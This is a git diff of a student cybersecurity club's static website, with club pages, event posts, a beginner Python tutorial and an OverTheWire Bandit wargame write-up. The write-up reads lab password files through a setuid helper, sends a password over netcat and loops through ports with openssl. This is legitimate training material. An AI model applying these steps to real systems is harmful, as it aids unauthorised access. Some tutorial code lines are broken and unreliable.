diff --git a/404.html b/404.html new file mode 100644 index 0000000..9634e57 --- /dev/null +++ b/404.html @@ -0,0 +1 @@ +404 Not Found

404 Not Found

\ No newline at end of file diff --git a/about/index.html b/about/index.html new file mode 100644 index 0000000..b0fb873 --- /dev/null +++ b/about/index.html @@ -0,0 +1 @@ +About

About

We established ourselves as a small group of skilled cybersecurity enthusiasts in 2022 and became a club in the Centre for Innovation in 2023.

We are a dedicated group of students who share a strong passion for computer and information security. Our primary goal is to introduce students to the fascinating field of cybersecurity and address complex challenges through CTFs, research projects and collaborations with the industry.

What you can anticipate from our team:

What is Hacking?

We as a team personally feel that The Art of Exploitation tackles this question the best. Hence, we’ll be borrowing the author’s words for this.

Borrowing from The Art Of Exploitation

The idea of hacking may conjure stylized images of electronic vandalism, espionage, dyed hair, and body piercings. Most people associate hacking with breaking the law and assume that everyone who engages in hacking activities is a criminal. Granted, there are people out there who use hacking techniques to break the law, but hacking isn’t really about that. In fact, hacking is more about following the law than breaking it. The essence of hacking is finding unintended or overlooked uses for the laws and properties of a given situation and then applying them in new and inventive ways to solve a problem — whatever it may be.

The following math problem illustrates the essence of hacking: Use each of the numbers 1, 3, 4, and 6 exactly once with any of the four basic math operations (addition, subtraction, multiplication, and division) to total 24. Each number must be used once and only once, and you may define the order of operations; for example, 3 * (4 + 6) + 1 = 31 is valid, however incorrect, since it doesn’t total 24.The rules for this problem are well defined and simple, yet the answer eludes many. Like the solution to this problem, hacked solutions follow the rules of the system, but they use those rules in counterintuitive ways. This gives hackers their edge, allowing them to solve problems in ways unimaginable for those confined to conventional thinking and methodologies.

Since the infancy of computers, hackers have been creatively solving problems. In the late 1950s, the MIT model railroad club was given a donation of parts, mostly old telephone equipment. The club’s members used this equipment to rig up a complex system that allowed multiple operators to control different parts of the track by dialing in to the appropriate sections. They called this new and inventive use of telephone equipment hacking; many people consider this group to be the original hackers.

The group moved on to programming on punch cards and ticker tape for early computers like the IBM 704 and the TX-0. While others were content with writing programs that just solved problems, the early hackers were obsessed with writing programs that solved problems well. A new program that could achieve the same result as an existing one but used fewer punch cards was considered better, even though it did the same thing. The key difference was how the program achieved its results — elegance. Being able to reduce the number of punch cards needed for a program showed an artistic mastery over the computer. A nicely crafted table can hold a vase just as well as a milk crate can, but one sure looks a lot better than the other. Early hackers proved that technical problems can have artistic solutions, and they thereby transformed programming from a mere engineering task into an art form.

Like many other forms of art, hacking was often misunderstood. The few who got it formed an informal subculture that remained intensely focused on learning and mastering their art. They believed that information should be free and anything that stood in the way of that freedom should be circumvented. Such obstructions included authority figures, the bureaucracy of college classes, and discrimination. In a sea of graduation-driven students, this unofficial group of hackers defied conventional goals and instead pursued knowledge itself. This drive to continually learn and explore transcended even the conventional boundaries drawn by discrimination, evident in the MIT model railroad club’s acceptance of 12-year-old Peter Deutsch when he demonstrated his knowledge of the TX-0 and his desire to learn. Age, race, gender, appearance, academic degrees, and social status were not primary criteria for judging another’s worth — not because of a desire for equality, but because of a desire to advance the emerging art of hacking.

The original hackers found splendor and elegance in the conventionally dry sciences of math and electronics. They saw programming as a form of artistic expression and the computer as an instrument of that art. Their desire to dissect and understand wasn’t intended to demystify artistic endeavors; it was simply a way to achieve a greater appreciation of them. These knowledge driven values would eventually be called the Hacker Ethic: the appreciation of logic as an art form and the promotion of the free flow of information, surmounting conventional boundaries and restrictions for the simple goal of better understanding the world.

This is not a new cultural trend; the Pythagoreans in ancient Greece had a similar ethic and subculture, despite not owning computers. They saw beauty in mathematics and discovered many core concepts in geometry. That thirst for knowledge and its beneficial byproducts would continue on through history, from the Pythagoreans to Ada Lovelace to Alan Turing to the hackers of the MIT model railroad club. Modern hackers like Richard Stallman and Steve Wozniak have continued the hacking legacy, bringing us modern operating systems, programming languages, personal computers, and many other technologies that we use every day.

Let’s get in touch

Have a project idea or collaboration in mind? Get in touch and let’s make it happen!

\ No newline at end of file diff --git a/click.ogg b/click.ogg new file mode 100644 index 0000000..f9c6dc0 Binary files /dev/null and b/click.ogg differ diff --git a/contacts/index.html b/contacts/index.html new file mode 100644 index 0000000..8ba0a73 --- /dev/null +++ b/contacts/index.html @@ -0,0 +1 @@ +Contact Us

Contact Us

Welcome to the Cybersecurity Club of CFI, IIT Madras! We’re excited to connect with you. If you have any queries, feel free to reach out to us through the following channels:


📧 Email Us

For any questions or collaborations, drop us an email at:
cyseciitm@gmail.com


👥 GitHub

Explore our projects over at GitHub:
Cybersecurity Club GitHub


📲 WhatsApp Channel

Stay updated with our latest activities and announcements:
Join our WhatsApp Channel


Connect with us professionally on LinkedIn:
Cybersecurity Club on LinkedIn


📸 Instagram

Follow us for exciting updates and glimpses of our events:
Cybersecurity Club on Instagram


🌐 CFI Contact Page

Learn more about us and other CFI clubs at:
CFI IIT Madras Contact Page


Feel free to reach out through any of these platforms. We look forward to hearing from you!

\ No newline at end of file diff --git a/css/style.css b/css/style.css new file mode 100644 index 0000000..113a730 --- /dev/null +++ b/css/style.css @@ -0,0 +1,105 @@ +#nav-bar { + padding: .925rem 0 0 0; + display: flex; + flex-direction: row; + gap: 1.00rem; + flex-wrap: wrap; + justify-content: flex-end; + align-items: center; + align-content: flex-end +} + +#footer-container { + display: flex; + flex-wrap: wrap; + justify-content: space-between; + align-items: center; +} + +.accent-data { + color: var(--accent); +} + +.theme-transition { + transition: color 0.3s ease, background-color 0.3s ease; +} + +.tags-data { + display: flex; + flex-direction: column; + flex-wrap: wrap; + justify-content: flex-end; + align-items: flex-start; + align-content: flex-end +} + +.title-list li { + margin-bottom: .375rem; +} + +/* icons settings */ +.icons { + width: 1.3rem; + height: 1.3rem; + aspect-ratio: 1/1; + display: inline-block; + vertical-align: middle; + color: var(--text); + fill: var(--text); + background-color: transparent; + cursor: pointer; +} + +.icons:hover { + background-color: transparent; + color: var(--accent); +} + +/* footnotes */ +.footnote-definition { + margin: 0 0 0 .125rem; +} + +.footnote-definition-label { + color: var(--accent); +} + +.footnote-definition p { + display: inline; + margin: .625rem 0 0 .625rem; +} + +/* general classes */ +.no-style { + padding: 10; + margin: 10; + border: none; + border-radius: 0 +} + +.no-style:hover { + background-color: transparent; + color: var(--accent); +} + +.center { + text-align: center; +} + +.center img { + display: block; + margin: 1rem auto; +} + +.float-right { + float: right +} + +.float-left { + float: left +} + +/* shortcodes css */ +.webring { + margin: .375rem; +} diff --git a/favicon.ico b/favicon.ico new file mode 100644 index 0000000..7eb16ea Binary files /dev/null and b/favicon.ico differ diff --git a/icons.svg b/icons.svg new file mode 100644 index 0000000..374e315 --- /dev/null +++ b/icons.svg @@ -0,0 +1,21 @@ + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/index.html b/index.html new file mode 100644 index 0000000..f869c11 --- /dev/null +++ b/index.html @@ -0,0 +1 @@ +exploiitm blog

Blog

Official blog of Cybersecurity Club, IIT Madras.

“It’s not a bug, it’s a feature”

Posts

Writeups

Resources

Tags

\ No newline at end of file diff --git a/js/script.js b/js/script.js new file mode 100644 index 0000000..298b900 --- /dev/null +++ b/js/script.js @@ -0,0 +1,49 @@ +const toggleButton = document.getElementById('theme-toggle'); +const themeIcon = document.getElementById('theme-icon'); +const themeSound = document.getElementById('theme-sound'); + +// Function to update the theme icon based on the current theme +const updateThemeIcon = (isDarkMode) => { + const themeMode = isDarkMode ? 'darkMode' : 'lightMode'; + const iconPath = themeIcon.querySelector('use').getAttribute('href').replace(/#.*$/, `#${themeMode}`); + themeIcon.querySelector('use').setAttribute('href', iconPath); +}; + +// Function to update the theme based on the current mode +const updateTheme = (isDarkMode) => { + const theme = isDarkMode ? 'dark' : 'light'; + document.documentElement.setAttribute('data-theme', theme); + updateThemeIcon(isDarkMode); +}; + +// Function to toggle the theme +const toggleTheme = () => { + const isDarkMode = toggleButton.checked; + updateTheme(isDarkMode); + themeSound.play(); + localStorage.setItem('theme', isDarkMode ? 'dark' : 'light'); + + // Add transition class to body for smooth transition + document.body.classList.add('theme-transition'); + setTimeout(() => { + document.body.classList.remove('theme-transition'); + }, 300); +}; + +// Event listener for theme toggle +toggleButton.addEventListener('change', toggleTheme); + +// Function to initialize the theme based on the stored preference +const initializeTheme = () => { + const storedTheme = localStorage.getItem('theme'); + const prefersDark = window.matchMedia('(prefers-color-scheme: dark)').matches; + const isDarkMode = storedTheme === 'dark' || (!storedTheme && prefersDark); + toggleButton.checked = isDarkMode; + updateTheme(isDarkMode); +}; + +// Initialize the theme +initializeTheme(); + +// Listen for changes in system preference +window.matchMedia('(prefers-color-scheme: dark)').addEventListener('change', initializeTheme); diff --git a/posts/freshieRoadmap/image1.jpeg b/posts/freshieRoadmap/image1.jpeg new file mode 100644 index 0000000..9d2a8ab Binary files /dev/null and b/posts/freshieRoadmap/image1.jpeg differ diff --git a/posts/freshieRoadmap/image2.jpeg b/posts/freshieRoadmap/image2.jpeg new file mode 100644 index 0000000..c6ae0d8 Binary files /dev/null and b/posts/freshieRoadmap/image2.jpeg differ diff --git a/posts/freshieRoadmap/image3.jpeg b/posts/freshieRoadmap/image3.jpeg new file mode 100644 index 0000000..384e44d Binary files /dev/null and b/posts/freshieRoadmap/image3.jpeg differ diff --git a/posts/freshieRoadmap/image4.jpeg b/posts/freshieRoadmap/image4.jpeg new file mode 100644 index 0000000..1f2e126 Binary files /dev/null and b/posts/freshieRoadmap/image4.jpeg differ diff --git a/posts/freshieRoadmap/index.html b/posts/freshieRoadmap/index.html new file mode 100644 index 0000000..3961402 --- /dev/null +++ b/posts/freshieRoadmap/index.html @@ -0,0 +1 @@ +Freshie Roadmap
../freshieRoadmap

Freshie Roadmap

The freshers of 2024 were welcomed to an exciting session hosted by the Cybersecurity and Math Clubs. They explored the fascinating world of cryptography, learning about asymmetric encryption, modular arithmetic, and some real-time code cracking. We ensured that the participants understood cipher algorithms like Playfair, explored Enigma, and discovered the workings of the Diffie-Hellman key exchange and AES.

Alt Text

The sessions covered the following topics in detail:

Bijective Functions

A key concept in encryption is the use of bijective functions. These are functions that are one-one and onto. We explained the need for bijective functions to ensure that the recipient of the cryptic message is the only person who can understand it.

Modular Arithmetic Basics

Modular arithmetic forms the basis of many cryptosystems today. The basic idea behind using this operator is the way it effectively shifts the plaintext in a known and understandable way, which can later be reshuffled to get the original message back.

We explored the idea of a modulus and described its terminology and mathematical properties. We explained the effect the modulus operator has with different examples. The roll-over effect of a modulus was explained, and the idea of shifts was shown to the participants. We discussed ROT ciphers and had the participants break them!

The modular multiplicative inverse is an important concept that must be understood well before understanding cryptosystems like RSA. This is defined for an integer $a$, and its value is another integer $x$ such that $a \cdot x \equiv 1 \ (\text{mod} \ m)$.

We talked about the conditions required for the multiplicative inverse of an integer to exist and explained the use of this special math in cryptography.

Fermat’s Little Theorem

To bring the participants closer to understanding RSA, we introduced Fermat’s Little Theorem.

Fermat’s Little Theorem states that if $p$ is a prime number, then for any integer $a$, $a^p \equiv a \ (\text{mod} \ p$).

Factorizing Large Primes

Freshers were asked to crack a series of numbers by figuring out the two prime factors that make them up. To ensure they understood how hard it actually is, we gradually increased the size of the number we were giving until hand computation became a nightmare.

Ciphers

Cryptography is about keeping information secret. A cipher is an algorithm that converts plaintext into seemingly gibberish text. In order to get the plaintext back, a key is needed to decipher it.

Alt Text

Caesar Cipher

The Caesar cipher falls into what is called a substitution cipher, where every alphabet is mapped to a different alphabet based on a predefined algorithm.

There are many vulnerabilities associated with this method:

Playfair

Playfair was the first literal digraph substitution cipher. It is a symmetric cipher since the same scheme that encrypts the plaintext is used to decrypt it. The key in the latter case is generated through a series of manipulations on the ciphertext.

Enigma

We also dived into the state-of-the-art Enigma machines, which were cracked by a team of cryptanalysts led by the perhaps most famous computer scientist ever, Alan Turing. The Enigma consisted of several rotors that swapped letters for others, but the catch was that, with every key press, the rotors changed their mapping!

This means, while encrypting a string like “BBB” using a substitution cipher would result in, say, “XXX”, in the case of Enigma it becomes “XYZ”!

Apart from the rotors, the Enigma also had reflectors that essentially reflect back to different pins of the rotors. Since the circuit is unique, if we can figure out what “W” was mapped to (say “X”), then “X” would be mapped to “W”.

Alan Turing was able to build the Bombe, a large electromagnetic device whose job, as described by Gordon Welchman, was simply to “bring ‘further analysis’ to a manageable number”.

AES and Key Exchanges

Now that the idea of substitution ciphers was clear, we wanted to explain the process of establishing the key. AES or other symmetric ciphers require that the sender encrypts the message using a key and the recipient decrypts it using the same (or a different) key. The answer lies in modular arithmetic again!

Alt Text

Diffie-Hellman Exchange

We talked about the basics of the Diffie-Hellman key exchange protocol, which is a method of digital encryption that allows two parties to send their keys over a public channel without fearing any adversary.

It works thanks to the magic of modular arithmetic.

Conclusion

The collaborative session by the Cybersecurity and Maths Clubs for the freshers of 2024 was a resounding success. This event showcased the Cybersecurity Club’s dedication to making complex topics accessible and engaging. The session left a lasting impression, igniting a passion for hacking and cracking in all who participated.

Alt Text

\ No newline at end of file diff --git a/posts/index.html b/posts/index.html new file mode 100644 index 0000000..164c564 --- /dev/null +++ b/posts/index.html @@ -0,0 +1 @@ +All posts

All posts

List of all tags

  1 / 1  
\ No newline at end of file diff --git a/posts/posts/1/index.html b/posts/posts/1/index.html new file mode 100644 index 0000000..ddbc30a --- /dev/null +++ b/posts/posts/1/index.html @@ -0,0 +1 @@ +Redirect

Click here to be redirected. \ No newline at end of file diff --git a/posts/summer_school/index.html b/posts/summer_school/index.html new file mode 100644 index 0000000..410a0d0 --- /dev/null +++ b/posts/summer_school/index.html @@ -0,0 +1 @@ +Summer School 2024

../summer_school

Summer School 2024

In the summer school conducted by the Cybersecurity club, titled “The Art of Exploitation” , we provided a 9 session course on binary exploitation. This course covered everything from the basics of C to advanced topics including ret2libc, ASLR and more.

You can find the YouTube playlist of the recordings.

The course had the following topics taught:

Session 1

Session 2

Session 3

Session 4

Session 5

Session 6

Session 7

Session 8

Session 9

\ No newline at end of file diff --git a/posts/the_book/index.html b/posts/the_book/index.html new file mode 100644 index 0000000..1e71614 --- /dev/null +++ b/posts/the_book/index.html @@ -0,0 +1 @@ +The Book Of Binaries
../the_book

The Book Of Binaries

Hi everyone, InnocentZero here. I’ve taken up on a very ambitious and extensive “project” if you choose to call it that. I’ll be writing a book about binaries. That’s it. Executables. But of all sorts.

The main focus will be from a security and optimization point of view. It plans to touch a vast range of topics ranging from compilers and linkers to operating systems, embedded firmware and hardware design. Once again, all from the point of view of mainly security.

This is a massive project and would require many months if not complete years to be in a remotely publishable stage. As of now, one of the chapters that serves as a basic introdcution to C programming is complete.

Why do it?

Simply because we love sharing knowledge. On a personal basis, I want this book to be a complete and total encyclopedic and academic text to everything about executables. Let’s see how we reach there and if there’s a change of plans in between.

When I first entered this domain, the hardest part was to get a proper source of information and knowledge in this field in particular. Web is easy, forensics is mostly about dealing with the data given at hand and seeing if you can extract something from it and cryptography is just mathematics. But to understand rev and pwn, you need a very solid base that most people often do not have. And many a times, CTF write-ups just tell you how to exploit a challenge without telling you the exact specifics of it. The why. That’s what this book is for.

While there are many other notable attempts at this, the most important one being “The Art of Exploitation”, I feel they are somewhat dry in nature and not engaging enough for the audience. On the other hand, this book is a direct inspiration from the “The Art of Computer Programming”, as I definitely found it to be a very engaging text.

The How, typst and more

The book is available for free here. It utilizes the new typst tool for generation of the book. I chose this because it’s far easier and faster to compose books in typst than in Latex. It is licensed under Creative Commons, so with proper attribution nobody should have issues utilizing or promoting the book.

\ No newline at end of file diff --git a/resources/bandit_writeup/index.html b/resources/bandit_writeup/index.html new file mode 100644 index 0000000..28df885 --- /dev/null +++ b/resources/bandit_writeup/index.html @@ -0,0 +1,9 @@ +Bandit Writeup
../bandit_writeup

Bandit Writeup

Bandit 0

ssh command & reading the readme file through cat command :

ssh bandit0@bandit.labs.overthewire.org -p 2220

Bandit 1

We were given a dash(-) file. To open it, we cannot directly use cat - etc. But we can use the following command instead : cat ./-

Bandit 2

In this level, we were given a file name with spaces in it. We just have to pass it to cat as a string argument : cat "spaces in this filename"

Bandit 3

We have a directory called inhere in this level. Lets go inside it and check the contents. We see that the directory is empty. Let’s check for hidden files using ls -la and we will find the file

Bandit 4

When we go inside inhere directory, we see 10 different files and we are asked to open only the human readable one. We use file command to check contents. Only file007 has ASCII text and it contains the password.

Bandit 5

When we go inside inhere directory, we see a lot of other directories. Given the constraints, we run the command du -b -all | grep 1033 to get required file where -b flag prints file size in bytes, -all flag analyses all files and grep searches for 1033. We can also use one more flag -h for human readable.

Bandit 6

First let’s go to root directory by command cd / . Then use command : find -user bandit7 -group bandit6 -size 33c

Bandit 7

We were given that password lies next to word millionth. So we can use cat data.txt | grep "millionth".

Bandit 8

For finding unique string, we will first sort it and then get unique string from uniq command. I made new.txt in tmp as that was the only location to make new files.

We use the following commands :

Bandit 9

In this level, we just need to search for = in strings in data.txt. strings data.txt | grep "="

Bandit 10

To decode base64, we use it with -d flag

Bandit 11

We can write a code to decode ROT13 or we can just go to a website(rot13.com) to solve it for us.

Bandit 12

Creating another directory called this in tmp, copyting data.txt to new.txt, then reversing xxd by using flag -r. We get files that are compressed multiple times. Decompressing them gives our password.

Bandit 13

For this all we need to do is use private key given to connect to bandit14 using -i flag. We use ssh -i sshkey.private bandit14@bandit.labs.overthewire.org -p 2220

Bandit 14

We first find the password in /etc/bandit_pass/bandit14 as specified in level 13. Then we send the password to localhost using nectat. Command : cat bandit14 | nc localhost 3000

Bandit 15

Since the post is SSL Encrypted, we connect it through the following command : openssl s_client -connect localhost:3001

Bandit 16

We are given 1000 ports that we have to check. I created a bash script in new directory in tmp.

Bash Script :

#! /bin/bash
+i=31000
+while [ 32000 -ge $i ]
+do
+	echo $i
+	openssl s_client -connect localhost:$i
+	i=$((i+1))
+done
+

Now we will have a few such instances where we would be asked to put the data (password of prev level in this case). After doing that, we can modify the script to check for later numbers and accordingly get the required correct answer.

Then we store the private key in sshkey.private and use following commands :

Bandit 17

To get the difference between two files, we can use vimdiff. Command : vimdiff passwords.old passwords.new

Bandit 18

We can run a command inside ssh without logging in by directly writing the command after our usual ssh command. Command : ssh bandit18@bandit.labs.overthewire.org -p 2220 cat readme

Bandit 19

If we use ls -l , we can check that the owner of this file is bandit20. Thus we open the folder we need as bandit20 user and get the password. Command : ./bandit20-do cat /etc/bandit_pass/bandit20

Bandit 20

In this level, what we need is a port that gives password of level 20 as output. What we do is echo the password in a separate port that we create(I created port 4200). We use flags -l(listen) -p (to specify port) and end the command with & to run it in background.

Commands:

\ No newline at end of file diff --git a/resources/index.html b/resources/index.html new file mode 100644 index 0000000..b6b7dc1 --- /dev/null +++ b/resources/index.html @@ -0,0 +1 @@ +All Resources

All Resources

List of all tags

  1 / 1  
\ No newline at end of file diff --git a/resources/resource1/index.html b/resources/resource1/index.html new file mode 100644 index 0000000..733ac84 --- /dev/null +++ b/resources/resource1/index.html @@ -0,0 +1,568 @@ +1.1 Basic Python Programming
../resource1

1.1 Basic Python Programming

Simple Operations

Python has the capability of carrying out calculations. Enter a calculation directly into a print statement:

print(2 + 2)
+print(5 + 4 -3)
+

The spaces around the plus and the minus signs here are optional (the code would work without them) but they make it easier to read.

Python also carries out multiplication and division, using an asterisk * to indicate multiplication and a forward slash / to indicate division.

Use parentheses to determine which operations are performed first.

print(2*(3+4))
+print(10/2)
+

Using a single slash to divide numbers produces a decimal (or float, as it is called in programming). We’ll learn more about floats later.

Dividing by zero produces an error in python, as no answer can be calculated.

print(11/0)
+
Traceback(most recent call last):
+File"\<stdin\>", line 1, in \<module\>
+ZeroDivisionError: division by zero
+

In python, the last line of an error message indicates the error’s type. Read error messages carefully, as they often tell you how to fix a program!

Floats

Floats are used in python to represent numbers that aren’t integers (whole numbers). Some examples of numbers that are represented as floats are 0.5 and -7.8538953. They can be created directly by entering a number with a decimal point, or by using operations such as division on integers.

print(3/4)
+

Computers can’t store floats perfectly accurately, in the same way we can’t write down the complete decimal expansion of 1/3 (0.333333333…). Keep this in mind, because it often leads to infuriating bugs!

A float is also produced by running an operation on two floats, or on a float and an integer.

A float can be added to an integer, because Python silently converts the ineger to a float.

Exponentiation

Besides addition, subtraction, multiplication, and division, Python also supports exponentiation, which is raising of one number to the power of another. This operation is performed using two asterisks.

print(2**5)
+print(9**(1/2))
+

You can chain exponentiation together. In other words, you can raise a number to multiple powers. Eg. 232

Quotient

Floor division is done using two forward slashes and is used to determine the quotient of a division (the quantity produced by the division of two numbers).

For example:

print(20//6)
+

The code above will output 3.

You can also use floor division on floats

Remainder

The modulo operator is carried out with a percent symbol % and is used to get the remainder of a division.

For example:

print(20%6)
+print(1.25%0.5)
+

All numerical operators can also be used with floats.

Strings

If you want to use text in python, you have to use a string. A string is created by entering text between two single or double quotation marks.

print("Python is fun!")
+print("Always look on the bright side")
+

The delimiter (” or ’) used for a string doesn’t affect how it behaves in any way.

Backslash

Some characters cant be directly included in a string. For instance, double quotes can’t be directly included in a double quote string; this would cause it to end prematurely.

Characters like double quotes must be escaped by placing a backslash before them. Double quotes need to be escaped in double quotes strings only, and the same is true for single quotes strings. For Example:

print('Brian\'s mother: He\'s not an angel. He\'s a naughty boy!')
+

Backslashes can also be used to escape tabs, arbitrary Unicode characters, and various other things that can’t be reliably printed.

Newlines

\n represents a new line. It can be used in strings to create multi-line output.

print('One **\n** Two **\n** Three')
+

Newlines will automatically be added for strings that are created using three quotes.

print("""This
+is a
+multiline
+text""")
+

Similarly, \t represents a tab.

Concatenation

As with integers and floats, strings in Python can be added, using a process called concatenation, which can be done on any two strings.

print("Spam" + 'eggs')
+

When concatenating strings, it doesn’t matter whether they have been created with single or double quotes, as seen above

Adding a string to a number produces an error, as even though they might look similar, they are two different entities

String Operations

Strings can also be multiplied with integers. This produces a repeated version of that string. The order of the string and the integer doesn’t matter, but the string usually comes first.

print("spam"*3)
+
+print(4*'2')
+

Strings can’t be multiplied with other strings. Strings also can’t be multiplied by floats, even if the floats are whole numbers.

Variables

A variable allows you to store a value by assigning it to a name, which can be used to refer to the value later in the program. For example, in game development, you would use a variable to to store the points of the player.

To assign a variable, use one equals sign.

user = "James"
+

You can use variables to perform corresponding operations, just as you did with numbers and strings:

x = 7
+print(x)
+
+print(x + 3)
+print(x)
+

The variable stores its value throughout the program.

Variables can be assigned as many times as you want, in order to change their value. In python, variables don’t have specific types, so you can assign a string to a variable, and later assign an integer to the same variable.

x = 123.456
+print(x)
+
+x = "This is a string"
+print(x+"!")
+

However, this is not a good practice. To avoid mistakes, try to avoid overwriting the same variable with different data types.

Variable Names

Certain restrictions apply in regard to the characters that may be used in python variable names. The only characters that are allowed are letters, numbers and underscore. Also, they can’t start with numbers. Not following these rules results in errors.

this_is_a_normal_name = 7
+
+123abc = 7
+
SyntaxError: invalid syntax
+

Python is a case sensitive programming language. Thus, lastname and Lastname are two different variable names in python.

You can use the del statement to remove a variable, which means the reference from the name to the value is deleted, and trying to use the variable causes an error.

foo = 3
+del foo
+print(foo)
+# results in an error
+

Deleted variables can also e reassigned to later as normal.

foo = 2
+bar = 3
+del bar
+bar = 8
+print(foo + bar)
+

The variables foo and bar are called metasyntactic variables, meaning they are used as placeholder names in example code to demonstrate something.

Input

To get input from the user in python, you can use the intuitively named input function. For example, a game can ask for a user’s name and age as input and use them in the game.

The input function prompts the user for input, and returns what they enter as a string (with the contents automatically escaped).

x = input()
+print(x)
+

Even if the user enters a number as an input, it is processed as a string.

The input statement needs to be followed by parentheses. You can provide a string to input() between the parentheses, producing a prompt message.

name = input("Enter your name: ")
+print("Hello"+name)
+

The prompt message helps clarify what the input is asking for.

To convert the string to a number, we can use the int() function:

age =int(input())
+print(age)
+

Similarly, in order to convert a number to a string, the str() function is used. This can be useful if you need to use a number in string concatenation. For example:

age = 42
+print("His age is" + str(age))
+

You can convert to float using the float() function.

You can take input multiple times to take multiple user input. For example:

name = input()
+age = input()
+
+print(name + "is" + age)
+

When input function executes, program flow stops until the user enters some value.

In Place Operators

In-place operators allow you to write code like x = x + 3 more concisely as x +=3. The same thing is possible with other operators such as -,*, /, and % as well.

x = 2
+print(x)
+
+x += 3
+print(x)
+

These operators can be used on types other than numbers, as well, such as strings.

x= "spam"
+print(x)
+
+x += "eggs"
+print(x)
+

In-place operators can be used for any numerical operation (+,-,*,/,%,**,//).

Booleans

Another type in python is the Boolean type. There are two Boolean values: True and False. They can be created by comparing values, for instance by using the equal to ==.

my_boolean = True
+print(my_boolean)
+True
+
+print(2 == 3)
+False
+
+print("hello" == 'hello')
+True
+

Be careful not to confuse assignment (one equal sign) with comparison (two equal signs).

Comparison

Another comparison operator, the not equal operator (!=), evaluates to True if the items being compared aren’t equal, and False if they are.

print(1 != 1)
+False
+
+print("eleven" != "seven")
+True
+
+print(2 != 10)
+True
+

Comparison operators are also called relational operators.

Python also has operators that determine whether one number (float or integer) is greater than or smaller than another. These operators are > and < respectively.

print(7 > 5)
+True
+
+print(10 < 10)
+False
+

Different numeric types can also be compared, for example, integer and float.

The greater than or equal to, and the smaller than or equal to operators are >= and <=. They are the same as the strict greater than and smaller than operators, except that they return True when comparing equal numbers.

print(7<= 8)
+True
+
+print(9>=9.0)
+True
+

Greater than and smaller than operators can also be used to compare strings lexicographically. For Example:

print("Annie" > "Andy")
+True
+

If statements

You can use if statements to run code if a certain condition holds. If the expression evaluates to True, some statements are carried out.Otherwise they aren’t carried out. An if statement looks like this:

if expression:
statements

Python uses indentation, (white spaces at the beginning of a line) to delimit blocks of code. Depending on the program’s logic, indentation can be mandatory. As you can see, the statements in the if should be indented.

Here is an example of if statement:

if 10 > 5:
+    print("10 is greater than 5")
+
+print("The program ended")
+

The expression determines whether 10 is greater than 5. Since it is, the indented statement runs, and “10 is greater than 5” is output. Then, the unindented statement, which is not a part of the if statement, is run, and “Program ended” is displayed.

Notice the colon at the end of the expression in the if statement.

To perform more complex checks, if statements can be nested, one inside the other. This means that the inner if statement is the statement part of the outer one. This is one way to see whether multiple conditions are satisfied.

For example:

num = 12
+if num > 5:
+    print("Bigger than 5")
+    if num <= 47:
+        print("between 5 and 47")
+

Indentation is used to define the level of nesting.

else Statements

The if statement allows you to check a condition and run some statements, if the condition is True. The else statement can be used to run some statements when the condition of the if statement is False.

As with if statements, the code inside the block should be indented.

x = 4
+if x == 5:
+    print("Yes")
+else:
+    print("No")
+

Notice the colon after the else keyword.

Every if condition block can have only one else statement. In order to make multiple checks, you can chain if and else statements.

For example, the following program checks and outputs the num variable’s value as text:

num = 3
+if num == 1:
+    print("One")
+else:
+    if num == 2:
+        print("Two")
+    else:
+        if num == 3:
+            print("Three")
+

Indentation determines which if/else statements the code blocks belong to.

elif Statements

Multiple if/else statements make the code long and not very readable. The elif (short for else if) statement is a shortcut to use when chaining if and else statements, making the code shorter.

The same example from the previous part can be rewritten using elif statements:

num = 3:
+if num == 1:
+    print("One")
+elif num == 2:
+    print("Two")
+elif num == 3:
+    print("Three")
+else:
+    print("None are true")
+

As you can see in the example above, a series of if elif statements can have a final else block, which is called if none of the if or elif expressions is True. >The elif statement is equivalent to an else/if statement. It is used to make the code shorter, more readable, and avoid indentation increase.

Boolean Logic

Boolean logic is used to make more complicated conditions for if statements that rely on more than one condition. Python’s Boolean operators are and, or, and not. The and operator takes two arguments, and evaluates as True if, and only if, both of its arguments are True. Otherwise, it evaluates to False.

print( 1 == 1 and 2 == 2)
+True
+
+print(1 == 1 and 2 == 3)
+False
+
+print( 1 != 1 and 2 > 3)
+False
+
+print( 2 < 3 and 3 > 6)
+False
+

Boolean operators can be used in expression as many times as needed.

The or operator also takes two arguments. It evaluates to True if either (or both) of its arguments are True, and False if both arguments are False.

print( 1 == 1 or 2 == 2)
+True
+
+print(1 == 1 or 2 == 3)
+True
+
+print( 1 != 1 or 2 > 3)
+False
+
+print( 2 < 3 or 3 > 6)
+True
+

Besides values, you can also compare variables.

Unlike other operators we’ve seen so far, not only takes one argument, and inverts it. The result of not True is False, and not False goes to True

print( not 1 == 1)
+False
+
+print( not 1 > 7)
+True
+

You can chain multiple conditional statements in an if statement using the Boolean operators.

Operator Precedence

Operator precedence is a very important concept in programming. It is an extension of the mathematical idea of order of operations (multiplication being performed before addition, etc.) to include other operators, such as those in Boolean logic.

The below code shows that == has a higher precedence than or

print(False == False or True)
+True
+
+print(False == (False or True))
+False
+
+print((False == False) or True)
+True
+

Python’s order of operations is the same as that of normal mathematics: parentheses first, then exponentiation, then multiplication/division, and then addition/subtraction.

Chaining Multiple Conditions

You can chain multiple conditional statements in an if statement using the Boolean operators.

For example, we can check if the value of a grade is between 70 and 100:

grade = 88
+if (grade >= 70 and grade <= 100):
+    print("Passed!")
+

You can use multiple and, or, not operators to chain multiple conditions together.

Lists

Lists are used to store items. A list is created using square brackets with commas separating items.

words = ["Hello", "world", "!"]
+

In the example above the words list contains three string items.

A certain item in the list can be accessed by using its index in square brackets.

For example:

words = ["Hello", "world", "!"]
+print(words[0])
+print(words[1])
+print(words[2])
+

The first list item’s index is 0, rather than 1, as might be expected.

Sometimes you need to create an empty list and populate it later during the program. For example, if you are creating a queue management program, the queue is going to be empty in the beginning and get populated with people data later.

An empty list is created with an empty pair of square brackets.

empty_list = []
+print(empty_list)
+

In some code samples you might see a comma after the last item in the list. It’s not mandatory, but perfectly valid.

Typically, a list will contain items of a single item type, but it is also possible to include several different types. Lists can also be nested within other lists.

number = 3
+things = ["string",  0,  [1,  2, number],  4.56]
+print(things[1])
+print(things[2])
+print(things[2][2])
+

Nested lists can be used to represent 2D grids, such as matrices. For example:

m = [[0,1,2],[4,5,6]]
+print(list([1][2])
+

A matrix-like structure can be used in cases where you need to store data in row-column format. For example, when creating a ticketing program, the seat numbers can be stored in a matrix, with their corresponding rows and numbers.

The code above outputs the 3rd item of the 2nd row.

Some types, such as strings, can be indexed like lists. Indexing strings behaves as though you are indexing a list containing each character in the string.

For example:

string = "Hello world"
+print(string[6])
+

Space (” “) is also a symbol and has an index.

